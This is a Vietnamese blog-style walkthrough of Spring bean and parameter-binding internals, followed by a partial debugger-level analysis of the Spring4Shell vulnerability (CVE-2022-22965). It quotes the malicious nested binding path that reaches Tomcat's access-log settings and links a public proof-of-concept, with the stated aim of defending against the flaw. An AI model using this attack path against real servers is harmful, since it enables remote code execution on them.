### Lời nói đầu
Spring Framework là một framework mã nguồn mở được viết bằng Java, giúp phát triển các ứng dụng web Java theo mô hình lập trình hướng đối tượng. Nó cung cấp nhiều tính năng hữu ích như:
- Dependency Injection: Giúp quản lý các dependency trong ứng dụng, giúp code dễ dàng test và bảo trì hơn.
- Aspect-Oriented Programming (AOP): Cho phép thực hiện các chức năng cross-cutting concerns như logging, security, transaction management một cách dễ dàng.
- Web MVC: Cung cấp framework MVC cho việc phát triển các ứng dụng web.
- Data Access: Hỗ trợ việc truy cập dữ liệu từ nhiều nguồn dữ liệu khác nhau như database, NoSQL, v.v.
Spring Framework là một framework Java phổ biến và mạnh mẽ được sử dụng để phát triển các ứng dụng web phức tạp. Nó cung cấp nhiều tính năng hữu ích giúp phát triển ứng dụng Java dễ dàng, hiệu quả và bảo trì. Tuy nhiên bản thân spring framework lại tồn tại rất nhiều lỗ hổng nghiêm trọng cho phép thực thi RCE nhằm thực hiện các hành động nguy hiểm. Ở bài viết này, ta sẽ đi từ việc phân tích kiến trúc cơ bản của spring sau đó đi đến việc phân tích các lỗ hổng đã được công bố từ đó có thể đưa ra được các phương pháp phòng chống hiệu quả
### Kiến thức nền tảng
#### java.lang.Class
Có hai loại objects trong Java: `Class objects` và `instance objects`
Instance object là một thể hiện của một lớp, thường được tạo qua từ khóa `new`, còn `Class object` được tạo ra bời JVM dùng để lưu trữ thông tin class của một đối tượng.
Mỗi lớp được viết trong đoạn code là một đối tượng, và cũng chính là một đối tượng của lớp `java.lang.Class`, nói cách khác, mỗi lớp có đối tượng thể hiện riêng của nó, và chúng cũng chính là đối tượng của lớp Class
```
/*
* Private constructor. Only the Java Virtual Machine creates Class objects.
* This constructor is not used and prevents the default constructor being
* generated.
*/
private Class(ClassLoader loader, Class<?> arrayComponentType) {
// Initialize final field for classLoader. The initialization value of non-null
// prevents future JIT optimizations from assuming this final field is null.
classLoader = loader;
componentType = arrayComponentType;
}
```
**Private Contructor: Chỉ có JVM tạo đối tượng Class. Contructor này không được sử dụng và ngăn chặn việc tạo ra contructor mặc định**
Chúng ta có thể thấy contructor của lớp Class là một contructor riêng, và chỉ có JVM mới có thể tạo ra đối tượng của lớp này. Nói cách khác, chúng ta không có cách nào để khai báo một đối tượng Class thông qua `new`.

Mặc dù chúng ta không thể có được đối tượng của lớp Class thông qua `new`, vẫn có cách khác để có được đối tượng của Class, như lấy nó thông qua các biến thành viên static của lớp, thông qua phương thức static `forName()` của lớp Class

Ta có thể giải thích như sau: Sau khi có được một đối tượng lớp(Class object), bạn có thể gọi một số phương thức trong lớp này. Sau khi có được `Class object`, tất cả các đối tượng lớp Class được lấy một cách giả mạo. Bằng cách gọi các phương thức của các đối tượng thể hiện dưới Class này, điều đó tương đương với việc gọi phương thức của đối tượng thể hiện (instance object)
=> Result

#### JavaBeans
Trước khi giới thiệu SpringBean, ta cần hiểu một chút về JavaBean.
```JavaBean là một component có thể được tái sử dụng được viết bằng Java. Do được viết như một JavaBean, một lớp phải là một lớp cụ thể và công khai, và phải có một constructor không tham số. JavaBean được coi là các thuộc tính của các trường nội bộ bằng cách cung cấp các phương thức công khai tuân theo mẫu thiết kế nhất quán, và có thể được truy cập bằng cách sử dụng phương thức getter và setter. Như chúng ta đều biết, tên thuộc tính tuân thủ mẫu thiết kế này, và các lớp Java khác có thể thao tác các thuộc tính của các lớp JavaBean này thông qua cơ chế introspection```
Nền tảng của JavaBean bao gồm các yêu cầu sau:
- Mọi lớp phải được khai báo bằng `public` vì vậy ta có thể accessed nó từ bên ngoài
- Mọi thuộc tính trong lớp phải được đóng gói, bằng cách sử dụng `private` để khai báo
- Nếu thuộc tính được đóng gói cần được thao tác từ bên ngoài, thì các phương thức tương ứng phải được `setter` written `getter`
- Cần có ít nhất một constructor không tham số bên trong một JavaBean
Ta hãy lấy một ví dụ
```
public class Person {
private String name;
private int age;
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return this.age;
}
public void setAge(int age) {
this.age = age;
}
}
```
Các phương thức đọc và ghi của lớp Person được đặt theo quy tắc đặt tên sau
```
// Phương thức đọc
public Type getXyz()
// Phương thức viết
public void setXyz(Type value)
```
Do đó lớp Person này có thể được coi là một JavaBean
Các phương thức đọc và ghi bắt đầu bằng lần lượt là `get` và `set` , sau đó được theo bởi trường tên bắt đầu bằng một kí tự in hoa `Xyz`
Do đó, tên của 2 phương thức đọc và viết là `getXyz()` và `setXyz()`
Ta có thể thấy ở trên `getName()`, `getAge()`,`setName()` và `setAge()` đều tuân theo quy tắc này. Tuy nhiên, đối với với `boolean` lại là một trường hợp đặc biệt, phương thức đọc của nó được đặt là `isXyz()`:
```
// Đọc:
public boolean isChild()
// Viết:
public void setChild(boolean value)
```
Các phương thức dạng này thường được gọi là một thuộc tính (property). Ví dụ, thuộc tính trong lớp `Person` :`name`
- Phương thức đọc tương ứng là `String getName()`
- Phương thức ghi tương ứng là `String setName()`
Chỉ có `getter` được coi là `read-only` attributes. Ví dụ, định nghĩa một age `read-only` attribute:
- Phương thức đọc tương ứng là `int getAge()`
- Không có phương thức ghi nào `setAge(int)`
Bằng một cách hiểu tương tự, chỉ có `setter` được coi là `write-only` attributes. Thông thường, `read-only` attributes phổ biến hơn so với `write-only` attributes.
Và vâng, tất cả nhưng điều chúng ta làm vừa rồi chúng ta là đang đi tạo JavaBeans. Khi chúng ta sử dụng nó trong trình compiler và chọn các trường cần được tạo và các phương thức `getter` và `setter` là chúng ta đang tạo ra chính JavaBeans `getter` và `setter`
JavaBean được sử dụng chính để truyền tải dữ liệu nhắm kết hợp một tập hợp dữ liệu thành JavaBean để dễ dàng truyền tải.
Chúng ta có thể sử dụng được tất cả các thuộc tính của JavaBean cũng như các phương thức đọc và ghi của các thuộc tính tương ứng thông qua một Introspector được cung cấp bởi chính thư viện Java core:

=> Result

Bạn có thể thấy kết quả trả về không bao gồm thuộc tính `Name` và `Age` của Person, nhưng lại có một thuộc tính có tên là lớp, và cũng có một phương thức là `getClass()` ở trong thuộc tính này. Thực tế, `Java Class Object` là lớp cha của mọi class và do đó tất cả class trong java đều kế thừa từ `Object`, và các lớp con có thể sử dụng tất cả các phương thước của `Object`
#### Introspector
`Introspection` (Introspector) là một phương thức xử lý mặc định các thuộc tính và sự kiện của lớp JavaBean trong ngôn ngữ Java
Giả sử có một lớp:
```
public class Animal {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
```
Có một giá trị thuộc tính có tên `name` trong lớp `Animal` và có một phương thức set/get tương ứng. Chúng ta có thể gán và nhận các giá trị thông qua phương thức set/get. Đây là quy tắc mặc định. Java JDK cung cấp một bộ API để truy cập các phương thức getter/setter của một thuộc tính nhất định, đó là `introspection`
The main JDK introspection libraries include the following:
- Introspector class: Đóng gói các thuộc tính trong JavaBean để hoạt động. Khi chương trình xem một lớp dưới dạng JavaBean, nó gọi phương thức `Introspector.getBeanInfo()`. Đối tượng `BeanInfo` thu được đóng gói thông tin kết quả của việc xem lớp này dưới dạng JavaBean, tức là thông tin thuộc tính. `getPropertyDescriptors()`, để có được mô tả về các thuộc tính, bạn có thể sử dụng phương thức duyệt `BeanInfo` và thiết lập các thuộc tính của lớp
- BeanInfo class: Nó là một giao diện (interface) và một cách triển khai cụ thể là `GenericBeanInfo`. Qua giao diện này(interface), có thể thu được nhiều mô tả khác nhau về một lớp:
* `BeanDescriptor getBeanDescriptor()`, lấy mô tả về JavaBean
* `EventSetDescriptor[] getEventSetDescriptor()`, get all EventSetDescriptors of JavaBean
* `PropertyDescriptor[] getPropertyDescriptors()`, get all PropertyDescriptors of JavaBean
* `MethodDescriptor[] getMethodDescriptors()`, get all MethodDescriptors of JavaBean
- PropertyDescriptor class: Lớp PropertyDescriptor đại diện cho một lớp JavaBean xuất một thuộc tính thông qua bộ nhớ. Các phương thức chính bao gồm:
* getPropertyType() // Lấy đối tượng Class của thuộc tính
* getReadMethod() // Lấy phương thức được sử dụng để đọc giá trị thuộc tính
* hashCode() // Lấy giá trị băm của một đối tượng
* setReadMethod(Method readMethod) // Đặt phương thức được sử dụng để đọc giá trị thuộc tính;
* setWriteMethod(Method writeMethod) // Đặt phương thức được sử dụng để ghi các giá trị thuộc tính.
So sánh các lớp Introspector và PropertyDescriptor, chúng ta có thể thấy rằng cả hai đều cần lấy PropertyDescriptor, nhưng theo những cách khác nhau: lớp trước cần được duyệt qua, trong khi lớp sau được lấy trực tiếp bằng cách tạo một đối tượng, vì vậy sẽ thuận tiện hơn khi sử dụng `PropertyDescriptor class`.Ngoài ra, thực tế còn có một số thư viện xem xét third-party introspection, chẳng hạn như bộ công cụ BeanUtils của Apache
Về introspection, một điều chúng ta phải biết là vì tất cả các lớp đều là lớp con của Object và Object có phương thức getClass() nên cơ chế introspection Java tin rằng miễn là có một trong các phương thức get/set, thì Thuộc tính lớp có thể được tìm thấy.
#### SpringBean
Spring Bean là tên chung cho các lớp thành phần xử lý transaction và các đối tượng lớp thực thể (POJO). Nó là một đối tượng Java có thể được khởi tạo và quản lý bởi spring containter
##### Creation of SpringBean
Giả sử có một tệp cấu hình có nội dung sau:

Then Spring is equivalent to calling the following code:

Điều này tưởng chừng như rất đơn giản nhưng thực tế Spring đã làm được rất nhiều thứ cho chúng ta, điều này có thể được giải thích cụ thể bằng một flowchart

Có thể thấy rằng các điểm cốt lõi thực sự bao gồm bốn bước sau
- Đầu tiên, gọi `createBeanInstance`(`String BeanName, RootBeanDefinition mbd, Object[] args`) đây là phương thức để tạo Bean
- Thứ hai, kiểm tra sự phụ thuộc của beans in singleton mode
- Thứ ba, gọi `populateBean`(`beanName, mbd, instanceWrapper`) để điền các thuộc tính của Bean mới tạo
- Thứ tư, gọi initizeBean(beanName, ExposureObject, mbd) để hoàn thành việc khởi tạo Bean
##### Use of SpringBean
Khi khởi động một ứng dụng Spring, trước tiên framework sẽ tạo một đối tượng đặc biệt gọi là `ApplicationContext`. ApplicationContext, còn được gọi là vùng chứa Đảo ngược điều khiển (IoC), là cốt lõi của khung. `ApplicationContext` là vùng chứa các đối tượng Bean tồn tại, bao gồm tất cả các Bean cần được quản lý bằng Spring container.
Giao diện BeanFactory xác định các chức năng chính được cung cấp bởi IoC container. Trong Spring, một tập hợp các giao diện kèm theo the registration function of Spring Bean. Các lớp triển khai của các giao diện Registry này là "ngôi nhà" của Spring Bean Definition. Tất cả thông tin cấu hình Bean đều có trong các lớp này. Do đó, các lớp triển khai này có thể được gọi là SpringBean registy
Khi SpringBean được sử dụng, bước đầu tiên là lấy thông tin cấu hình Bean từ SpringBean registy, sau đó khởi tạo Bean theo thông tin cấu hình. Sau khi khởi tạo, Bean được ánh xạ tới Spring container và được lưu trữ trong Bean Cache pool. Khi một ứng dụng muốn sử dụng Bean, nó sẽ thực hiện cuộc gọi đến Bean Cache Pool.
##### SpringBean property filling
Trong quá trình tạo Spring Bean, Spring trước tiên tạo một đối tượng Bean gốc thông qua reflection, sau đó điền các thuộc tính vào đối tượng Bean gốc này. Để đơn giản hóa quá trình điền thuộc tính, mỗi thuộc tính của JavaBean thường có một phương thức getter/setter. Chúng ta có thể gọi trực tiếp phương thức setter để đặt giá trị thuộc tính. Tất nhiên, điều này vẫn quá đơn giản, và có nhiều việc phải làm trong quá trình điền thuộc tính. Ví dụ, trong cấu hình Spring, tất cả các giá trị thuộc tính được cấu hình dưới dạng chuỗi. Khi chúng ta gán các giá trị thuộc tính này vào biến thành viên của đối tượng, chúng ta phải thực hiện chuyển đổi kiểu tương ứng theo kiểu biến. Đối với một số cấu hình của lớp collection, những cấu hình này phải được chuyển đổi thành đối tượng collection tương ứng trước khi có thể thực hiện các thao tác tiếp theo. Ngoài ra, nếu người dùng cấu hình tiêm (autowire = byName/byType), Spring cũng phải tìm các mục tiêm phù hợp cho các thuộc tính automatic injection.
Đoạn mã trên mô tả quá trình tiêm tự động (automatic injection) trong Spring khi Spring xác định phương thức tiêm dựa trên giá trị trả về từ phương thức `AbstractBeanDefinition#getResolvedAutowireMode()`.
```
// Lấy giá trị resolvedAutowireMode từ BeanDefinition
int resolvedAutowireMode = mbd.getResolvedAutowireMode();
// Kiểm tra xem có phải là tiêm theo tên hoặc theo kiểu không
if (resolvedAutowireMode == AUTOWIRE_BY_NAME || resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
// Tạo một MutablePropertyValues mới từ PropertyValues hiện tại
MutablePropertyValues newPvs = new MutablePropertyValues(pvs);
// Tiêm theo tên (byName)
if (resolvedAutowireMode == AUTOWIRE_BY_NAME) {
autowireByName(beanName, mbd, bw, newPvs);
}
// Tiêm theo kiểu (byType)
if (resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
autowireByType(beanName, mbd, bw, newPvs);
}
// Cập nhật PropertyValues mới
pvs = newPvs;
}
```
Trong thực tế, Spring automatic injection tìm kiếm các Bean thông qua các phương thức setter của một class. `byName` tìm kiếm các Bean dựa trên tên thuộc tính tương ứng với một phương thức setter cụ thể, và `byType` tìm kiếm các Bean dựa trên các tham số của một phương thức setter cụ thể.
Phân tích anotations and inject
Sau khi hoàn thành automatic injection của Spring, BeanPostProcessor được gọi để phân tích @Autowired, @Resource, và @Value tương ứng để tiêm giá trị cho các thuộc tính.
```
for (BeanPostProcessor bp : getBeanPostProcessors()) {
if (bp instanceof InstantiationAwareBeanPostProcessor) {
InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp;
// Gọi BeanPostProcessor để phân tích @Autowired, @Resource, @Value để tiêm giá trị vào các thuộc tính
// Trong đoạn này, các thuộc tính và giá trị được lấy từ các BeanPostProcessor để tiêm vào
// AutowiredAnnotationBeanPostProcessor là nơi lấy ra giá trị
PropertyValues pvsToUse = ibp.postProcessProperties(pvs, bw.getWrappedInstance(), beanName);
// Nếu pvsToUse là null
if (pvsToUse == null) {
// Nếu filteredPds chưa được khởi tạo, khởi tạo filteredPds từ bw và mbd.allowCaching
if (filteredPds == null) {
filteredPds = filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching);
}
// Gọi BeanPostProcessor để phân tích và tiêm giá trị vào PropertyValues
pvsToUse = ibp.postProcessPropertyValues(pvs, filteredPds, bw.getWrappedInstance(), beanName);
// Nếu pvsToUse vẫn là null sau phân tích
if (pvsToUse == null) {
// Dừng và không tiếp tục xử lý
return;
}
}
// Gán pvsToUse vào pvs để cập nhật PropertyValues mới
pvs = pvsToUse;
}
}
```
Trong bước trước đó, chỉ có các phụ thuộc được phân tích, và các phụ thuộc đã được phân tích không được tiêm trực tiếp vào đối tượng Bean. Tất cả các giá trị thuộc tính được tiêm vào đối tượng Bean theo cách thức đồng nhất trong phương thức `applyPropertyValues`.
```
if (pvs != null) {
applyPropertyValues(beanName, mbd, bw, pvs);
}
```
Các logic sau đây chủ yếu được thực hiện trong phương thức này:
Khi tiêm giá trị thuộc tính, nếu giá trị thuộc tính không cần được chuyển đổi, thì tiêm trực tiếp vào.
Khi giá trị thuộc tính cần được chuyển đổi, trước tiên chuyển đổi thành giá trị thuộc tính của thuộc tính lớp tương ứng, sau đó set giá trị, và cuối cùng việc tiêm sẽ hoàn tất.
Phương thức tiêm ở đây được thực hiện bằng cách gọi `setPropertyValues`, và đáy của ngăn xếp cuộc gọi của phương thức này là set các thuộc tính bằng cách gọi phương thức setter của đối tượng:
```
public class BeanWrapperImpl extends AbstractNestablePropertyAccessor implements BeanWrapper {
......
private class BeanPropertyHandler extends PropertyHandler {
public void setValue(final Object object, Object valueToApply) throws Exception {
// Lấy ra writeMethod, tức là phương thức setter
final Method writeMethod = this.pd.getWriteMethod();
if (!Modifier.isPublic(writeMethod.getDeclaringClass().getModifiers()) && !writeMethod.isAccessible()) {
writeMethod.setAccessible(true);
}
final Object value = valueToApply;
// Gọi phương thức setter, getWrappedInstance() trả về đối tượng bean
writeMethod.invoke(getWrappedInstance(), value);
}
}
}
```
Tóm lại, thực tế là giá trị thuộc tính được trước tiên lấy từ định nghĩa bean (beanDefinition), sau đó các giá trị thuộc tính được đóng gói vào các đối tượng MutablePropertyValues. Sau một loạt các xử lý, cuối cùng các thuộc tính được áp dụng vào bean cụ thể thông qua phương thức `applyPropertyValues`
### Phân tích các lỗ hổng trên Spring Framework
#### CVE 2022-22965_Spring4Shell
Spring4Shell là tên của một CVE tồn tại trên Spring Core của Spring Framework.
Với điểm CVSS 3.x là 9.8, lỗ hổng được xếp vào mức rủi ro cao nhất( critical). Lỗ hổng này cho phép kẻ tấn công thực hiện chạy mã khai thác từ xa và kiểm soát server chứa lỗ hổng.
Cùng với sự phổ biến của Spring Core trên internet và mức độ ảnh hưởng nghiêm trọng của Spring4Shell, lỗ hổng này được các chuyên gia đánh giá có sức ảnh hưởng không kém hơn Log4shell
Spring4Shell không ảnh hưởng đến toàn bộ các ứng dụng web sử dụng Spring Framework trên internet mà nó yêu cầu ứng dụng web phải tồn tại các yếu tố sau:
Ứng dụng sử dụng Spring Framework version < 5.2, 5.2.0 – 5.2.19 hoặc 5.3.0 - 5.3.17
Ứng dụng có sử dụng một trong hai dependencies Spring-webmvc hoặc Spring-webflux
Ứng dụng sử dụng java với jdk version >= 9
Ứng dụng được đóng gói dưới dạng một traditional Java web archive( file .war) và thực hiện deploy trong Tomcat( chưa phát hiện lỗ hổng tồn tại trên ứng dụng chạy bằng Springboot)
1. Prerequisite knowledge
1.1 SpringMVC parameter binding
Nhằm việc tạo điều kiện cho programming, SpringMVC cung cấp cho chúng ta khả năng hỗ trợ tự động chuyển đổi kiểu và gán các tham số yêu cầu hoặc nội dung request body trong HTTP requests dựa trên `Controller` method parameters. Sau đó, các phương thức `Controller` có thể sử dụng các tham số này một cách trức tiếp, tránh cho việc viết quá nhiều code
`HttpServletRequest` để lấy request data và type conversion. Lấy ví dụ:
```
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
```
```
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
```
```
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
```
Khi bạn gửi request `/addUser?name=test&department.name=SEC`, khi đó `public String addUser(User user)` như sau

Ta có thể thấy `name` được tự động bound tới attribute `user` của params `name`, và `department.name` tự động bound tới attribute `user` của params `department.name`
Chú ý `department.name`, ta có thể thể thấy ràng buộc này chỉ ra rằng SpringMVC hỗ trợ ràng buộc tham số đa cấp. Việc ràng buộc thực sự `deparment.name` được thực hiện bới Spring thông qua chain sau:
```
User.getDepartment()
Department.setName()
```
Giả sử một request parameter được đặt là foo.bar.noo.koo và tham số đầu vào tương ứng của phương thức Controller là `Param`, ta sẽ có chain sau
```
Param.getFoo()
Foo.getBar()
Bar.getNoo()
Baz.setKoo()
```
Main classes và methods của SpringMVC dùng để ràng buộc dữ liệu là `WebDataBinder.doBind(MutablePropertyValues)`
1.2 Java BeansPropertyDescriptor
`PropertyDescriptor` là một lớp trong gói java.beans của JDK, được sử dụng để lấy các thuộc tính của đối tượng và các phương thức get/set tuân thủ theo quy định của Java Bean. Lấy một ví dụ đơn giản:
```
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
# Result:
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
```
1.3 SpringBeanWrapperImpl
Trong Spring, BeanWrapper là một interface dùng để bọc đối tượng Bean và định nghĩa một số lượng lớn các phương thức để truy cập và thiết lập các thuộc tính của Bean.
BeanWrapperImpl là một lớp cụ thể, là implementaion mặc định của giao diện BeanWrapper. BeanWrapperImpl bọc đối tượng Bean và các thuộc tính của Bean được bọc trong BeanWrapperImpl.wrappedObject. BeanWrapperImpl sử dụng PropertyDescriptor để cuối cùng truy cập và thiết lập các thuộc tính của Bean.
```
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);
System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");
System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
# Result:
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
```
Ta có thể thấy thông qua `BeanWrapperImpl`, bạn có thể dễ dàng access và set các thuộc tính của Bean
1.4. Tomcat AccessLogValveandaccess_log
Trong Tomcat, Valve là một thành phần được sử dụng để xử lý các yêu cầu và phản hồi. Bằng cách kết hợp nhiều Valve vào một Pipeline, nó có thể thực hiện một loạt các xử lý yêu cầu và phản hồi theo đúng trình tự. AccessLogValve là một Valve được sử dụng để ghi log truy cập, thường được cấu hình mặc định trong tệp server.xml của Tomcat. Tất cả các ứng dụng web triển khai trong Tomcat sẽ thực thi AccessLogValve.
```
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
```
Trong đó
`className`: Đây là tên lớp của Valve, trong trường hợp này là org.apache.catalina.valves.AccessLogValve.
`directory`: Thư mục trong đó các tệp log sẽ được ghi. Trong ví dụ này, các tệp log sẽ được ghi vào thư mục logs của Tomcat.
`prefix`: Tiền tố cho tên tệp log. Trong trường hợp này, tệp log sẽ được đặt tên là access_log.
`suffix`: Phần mở rộng của tệp log. Trong trường hợp này, mở rộng là .txt.
`pattern`: Mẫu định dạng log. Trong ví dụ này, mẫu %h %l %u %t "%r" %s %b sẽ ghi thông tin về địa chỉ IP của client (%h), tên user (%l), người dùng đăng nhập (%u), thời gian (%t), yêu cầu HTTP (%r), mã trạng thái HTTP (%s), và kích thước phản hồi (%b).
Khi một yêu cầu được xử lý bởi Tomcat và đi qua AccessLogValve, thông tin về yêu cầu và phản hồi sẽ được ghi vào tệp log theo định dạng đã chỉ định. Điều này giúp quản trị viên theo dõi hoạt động và truy cập vào ứng dụng web trên Tomcat.
2. POC analysis
Việc dựng lại lỗ hổng cũng như PoC, mình tham khảo thông qua repo : https://github.com/reznok/Spring4Shell-POC
Hãy đi tới việc phân tích PoC, ta có thể thấy `data` được phân ra làm 5 tham số
##### `log_pattern`

Rõ ràng, tham số này là SpringMVC multi-layer nested parameter binding. Chúng ta có thể suy ra chain sau
```
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()
```
Khi chúng ta thực hiện việc ràng buộc tham số SpringMVC, chúng ta thường gặp phải các lớp và phương thức sau:
- WebDataBinder: Đây là lớp chịu trách nhiệm ràng buộc dữ liệu HTTP đến các đối tượng Java.
- DataBinder: Lớp con của WebDataBinder, chịu trách nhiệm thực hiện ràng buộc dữ liệu giữa các thuộc tính của đối tượng Java và các tham số trong yêu cầu HTTP.
- ServletRequestDataBinder: Lớp con của DataBinder, chịu trách nhiệm ràng buộc dữ liệu từ yêu cầu Servlet.
- MutablePropertyValues: Đây là lớp chứa giá trị thuộc tính có thể thay đổi của đối tượng Java.
Khi bạn đặt breakpoint trong phương thức chính của việc ràng buộc tham số SpringMVC, bạn sẽ thấy chuỗi gọi tương tự như sau:
- WebDataBinder.initBinder(): Phương thức này được gọi khi một yêu cầu HTTP đến và WebDataBinder được tạo ra. Nó có thể được sử dụng để cấu hình ràng buộc tham số.
- WebDataBinder.createBinder(): Phương thức này được gọi để tạo ra một DataBinder hoặc một lớp con của nó để ràng buộc dữ liệu.
- DataBinder.initBeanPropertyAccess(): Đây là phương thức để khởi tạo quyền truy cập vào thuộc tính của đối tượng Java.
- DataBinder.bind(): Phương thức này thực hiện việc ràng buộc dữ liệu giữa các thuộc tính của đối tượng Java và các tham số trong yêu cầu HTTP. Trong quá trình này, nó sẽ sử dụng các ràng buộc được định nghĩa trước đó để ánh xạ dữ liệu vào đối tượng.
- DataBinder.doBind(): Đây là phương thức chính thực hiện việc ràng buộc thực sự. Nó sẽ duyệt qua các thuộc tính của đối tượng Java và cố gắng ánh xạ các giá trị từ yêu cầu HTTP vào các thuộc tính này.

Sau một chuỗi call logic, mình đến tới dòng 814 trong `AbstractNestablePropertyAccessor`, trong phương thức `getPropertyAccessorForPropertyPath(String)`. Phương thức này thực hiện việc đệ quy phân tích cặp `class.module.classLoader.resources.context.parent.pipeline.first.pattern` để thiết lập toàn bộ chuỗi gọi bằng cách gọi chính nó đệ quy.
Chúng ta tập trung vào dòng 820, `AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty)`; chủ yếu thực hiện việc lấy các tham số lồng nhau ở mỗi cấp độ. Mình đặt một breakpoint trên dòng này để xem giá trị của mỗi biến trong quá trình phân tích đệ quy và cách thu thập các tham số lồng nhau ở mỗi cấp độ.
Khi breakpoint được đặt trên dòng này, chúng ta có thể xem các giá trị của các biến trong quá trình phân tích đệ quy. Cụ thể:
`nestedProperty`: Đây là chuỗi đại diện cho một đường dẫn thuộc tính lồng nhau (nested property path) như `class.module.classLoader.resources.context.parent.pipeline.first.pattern`.
`nestedPa`: Đây là `AbstractNestablePropertyAccessor` cho mỗi cấp độ trong đường dẫn thuộc tính lồng nhau. Khi phân tích đệ quy, chúng ta sẽ thu được một `AbstractNestablePropertyAccessor` cho mỗi cấp độ.

Trước khi đi vào phương thức `getPropertyAccessorForPropertyPath(String)`:
`this`: Là một instance của BeanWrapperImpl, đang đóng gói đối tượng Greeting.
`propertyPath`: Là một đường dẫn thuộc tính lồng nhau: `class.module.classLoader.resources.context.parent.pipeline.first.pattern`.
`nestedPath`: Là một phần của propertyPath, sử dụng để chỉ đến cấp độ lồng nhau tiếp theo. Trong trường hợp này, `nestedPath` là `module.classLoader.resources.context.parent.pipeline.first.pattern`.
`nestedProperty`: Là phần đầu tiên của nestedPath. Trong trường hợp này, nestedProperty là class.
Khi chúng ta bước vào phương thức `getPropertyAccessorForPropertyPath(String)`, chúng ta có các giá trị này để làm việc. Phương thức này chịu trách nhiệm phân tích đường dẫn thuộc tính và trả về một AbstractNestablePropertyAccessor tương ứng để truy cập vào đối tượng Java theo đường dẫn đã chỉ định.

Tiếp tục, sau một chuỗi lời gọi logic, chúng ta đến dòng 308 trong `BeanWrapperImpl`, trong phương thức `BeanPropertyHandler.getValue()`. Bạn có thể thấy rằng class và các tham số lồng nhau cuối cùng được lấy instance trả về thông qua Greeting - lớp cha được gọi thông qua reflection (`java.lang.Object.getClass()`, `java.lang.Class`).

Sau khi phương thức `getPropertyAccessorForPropertyPath(String)` trả về:
- `this`: Một instance của BeanWrapperImpl đang đóng gói đối tượng User.
- `propertyPath`: Đường dẫn thuộc tính là `class.module.classLoader.resources.context.parent.pipeline.first.pattern`.
- `nestedPath`: Là một phần của propertyPath trong vòng lặp tiếp theo: `module.classLoader.resources.context.parent.pipeline.first.pattern`.
- `nestedProperty`: class, tức là các tham số lồng nhau cần được phân tích trong vòng lặp này.
`nestedPa`: Một instance của BeanWrapperImpl đóng gói lớp java.lang.Class, sẽ được sử dụng trong vòng lặp tiếp theo.
Điều này tương ứng với việc quá trình xử lý đường dẫn thuộc tính của User đang diễn ra. BeanWrapperImpl đang đóng gói một instance của Greeting, và chúng ta đang xử lý propertyPath là `class.module.classLoader.resources.context.parent.pipeline.first.pattern`

Sau vòng lặp đầu tiên, chúng ta có được chuỗi gọi đầu tiên:
```
Greeting.getClass()
java.lang.Class.get???()
```


Sau khi có java.lang.Class của lớp Greeting, Spring sử dụng reflection để gọi java.lang.Class.getModule(). Reflection cho phép chúng ta làm việc với đối tượng và lớp mà không cần biết trước cấu trúc của chúng. Kết quả là, chúng ta nhận được đối tượng java.lang.Module đại diện cho module mà lớp Greeting thuộc về
Chain:
```
Greeting.getClass()
java.lang.Class.getModule()
java.lang.Module.get???()
```



Sau khi có java.lang.Module đại diện cho module mà Greeting thuộc về, Spring sử dụng reflection để gọi phương thức `java.lang.Module.getClassLoader()`
